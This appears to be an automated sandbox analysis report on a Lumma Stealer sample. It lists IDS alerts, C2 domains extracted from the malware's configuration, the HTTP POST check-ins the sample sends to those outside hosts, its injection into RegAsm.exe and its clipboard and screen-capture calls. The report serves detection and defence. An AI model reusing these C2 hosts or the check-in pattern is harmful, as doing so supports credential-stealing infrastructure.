Source: Network traffic	Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.7:49703 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.7:49701 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.7:49700 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.7:49704 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.7:59089 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.7:53004 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.7:55135 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.7:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.7:49707 -> 104.21.77.130:443
Source: Network traffic	Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.7:49702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.7:49493 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.7:54688 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.7:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49701 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49707 -> 104.21.77.130:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49701 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49703 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49704 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49700 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49709 -> 104.21.2.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49709 -> 104.21.2.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49704 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49707 -> 104.21.77.130:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: drawzhotdog.shop
Source: Malware configuration extractor	URLs: stogeneratmns.shop
Source: Malware configuration extractor	URLs: lootebarrkeyn.shop
Source: Malware configuration extractor	URLs: gutterydhowi.shop
Source: Malware configuration extractor	URLs: fragnantbui.shop
Source: Malware configuration extractor	URLs: vozmeatillu.shop
Source: Malware configuration extractor	URLs: offensivedzvju.shop
Source: Malware configuration extractor	URLs: reinforcenh.shop
Source: Malware configuration extractor	URLs: ghostreedmnu.shop

Source: Joe Sandbox View	IP Address: 104.21.77.130 104.21.77.130
Source: Joe Sandbox View	IP Address: 104.21.4.136 104.21.4.136
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ballotnwu.site

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: global traffic	DNS traffic detected: DNS query: lootebarrkeyn.shop
Source: global traffic	DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic	DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic	DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic	DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic	DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic	DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic	DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic	DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: ballotnwu.site

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop

Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site/
Source: RegAsm.exe, 00000004.00000002.1394874514.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site/api
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site/apiz
Source: RegAsm.exe, 00000004.00000002.1394874514.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site/b
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ballotnwu.site:443/api
Source: RegAsm.exe, 00000004.00000002.1394874514.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drawzhotdog.shop/
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fragnantbui.shop/
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ghostreedmnu.shop/api
Source: RegAsm.exe, 00000004.00000002.1394874514.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gutterydhowi.shop/api
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://offensivedzvju.shop/
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://offensivedzvju.shop/api
Source: RegAsm.exe, 00000004.00000002.1394874514.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reinforcenh.shop/
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reinforcenh.shop/api0
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reinforcenh.shop/apicL
Source: RegAsm.exe, 00000004.00000002.1394874514.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: RegAsm.exe, 00000004.00000002.1394874514.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900$vF
Source: RegAsm.exe, 00000004.00000002.1394874514.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/~
Source: RegAsm.exe, 00000004.00000002.1394874514.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stogeneratmns.shop/
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stogeneratmns.shop/api
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vozmeatillu.shop/api

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.130:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.13:443 -> 192.168.2.7:49709 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00439BD0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_00439BD0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00439BD0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_00439BD0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0043A777 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

4_2_0043A777

System Summary

.NET source code contains very large array initializations

Source: kewyIO69TI.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 365056

Source: C:\Users\user\Desktop\kewyIO69TI.exe	Code function: 0_2_01200C40	0_2_01200C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004103A8	4_2_004103A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00447D38	4_2_00447D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00401000	4_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004480B0	4_2_004480B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00449120	4_2_00449120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040C1C0	4_2_0040C1C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0042D250	4_2_0042D250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040A231	4_2_0040A231
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044A230	4_2_0044A230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004012C7	4_2_004012C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004452E0	4_2_004452E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00415352	4_2_00415352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00407450	4_2_00407450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00405470	4_2_00405470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409402	4_2_00409402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004404AB	4_2_004404AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044A510	4_2_0044A510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004115B0	4_2_004115B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041D610	4_2_0041D610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00449620	4_2_00449620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040A6E0	4_2_0040A6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040B6B0	4_2_0040B6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043F700	4_2_0043F700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041E71A	4_2_0041E71A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044B720	4_2_0044B720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004087F0	4_2_004087F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00428833	4_2_00428833
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004338C0	4_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004408E6	4_2_004408E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004038A0	4_2_004038A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00434990	4_2_00434990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040ABA0	4_2_0040ABA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0042EBBC	4_2_0042EBBC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00437CD0	4_2_00437CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00449D22	4_2_00449D22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00407E50	4_2_00407E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00427E6C	4_2_00427E6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00437F30	4_2_00437F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0042DFE0	4_2_0042DFE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0041D1E0 appears 164 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040CC80 appears 44 times

Source: kewyIO69TI.exe, 00000000.00000002.1293810312.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs kewyIO69TI.exe
Source: kewyIO69TI.exe, 00000000.00000000.1288979532.00000000008AE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exeD vs kewyIO69TI.exe
Source: kewyIO69TI.exe	Binary or memory string: OriginalFilenameVQP.exeD vs kewyIO69TI.exe

Source: kewyIO69TI.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: kewyIO69TI.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/2@11/7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0043910C CoCreateInstance,

4_2_0043910C

Source: C:\Users\user\Desktop\kewyIO69TI.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kewyIO69TI.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\kewyIO69TI.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4300:120:WilError_03

Source: kewyIO69TI.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: kewyIO69TI.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\kewyIO69TI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: kewyIO69TI.exe

ReversingLabs: Detection: 55%

Source: unknown	Process created: C:\Users\user\Desktop\kewyIO69TI.exe "C:\Users\user\Desktop\kewyIO69TI.exe"
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\kewyIO69TI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
